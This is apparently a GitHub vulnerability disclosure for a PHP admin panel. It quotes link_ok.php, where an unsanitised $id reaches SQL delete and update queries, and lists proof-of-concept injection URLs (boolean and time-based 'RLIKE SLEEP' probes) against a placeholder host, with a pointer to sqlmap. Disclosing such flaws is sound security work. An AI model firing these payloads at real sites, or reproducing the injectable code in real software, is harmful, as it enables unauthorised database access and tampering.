jsjbcyber Update bug_l History

1 contributor

63 lines (53 sloc) | 2.18 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/link/link_ok.php
--------------------------------
affected source code:

    <?php
        require_once '../../inc/const.php';

        $act = $_GET['act'];
        $id =getvar('id');
        $name =getvar('name');
        $url =getvar('url');
        $content =getvar('content');
        $state = getvar('state');


        if($act=='add'){
          $record = array(
            'name'              =>$name,
            'url'               =>$url,
            'content'    =>$content,
            'addtime'    =>date("y-m-d H-i-s"),
            'state'             =>$state
          );
          $id = $db->insert($GLOBALS[databasePrefix].'link',$record);
          echo "<script>alert('添加成功!');window.location='link_manage.php';</script>";

        }
        if ($act=='mod'){
```

```
          $record = array(
            'name'              =>$name,
            'url'               =>$url,
            'content'   =>$content,
            'state'             =>$state
          );
          $db->update($GLOBALS[databasePrefix].'link',$record,'id='.$id);
          echo "<script>alert('修改成功!');window.location='link_manage.php';</script>";
        }

        if ($act=='del') {
          //del_file($id);
          $db->delete($GLOBALS[databasePrefix].'link',"id=".$id);
          echo "<script>alert('删除成功!');window.location='link_manage.php';</script>";
        }

    ?>


--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  After Signing in to the background in advance. Then we can use burpsuit to grab the following UR

  Like this:
            http://xx.xx.com/admin/link/link_ok.php?act=del&id=1'
            http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 and 1=1
            http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 and 1=2
            http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 RLIKE SLEEP(2)

  And we can see the sql injection problems.
  Then, we can use tools like sqlmap for more information.
```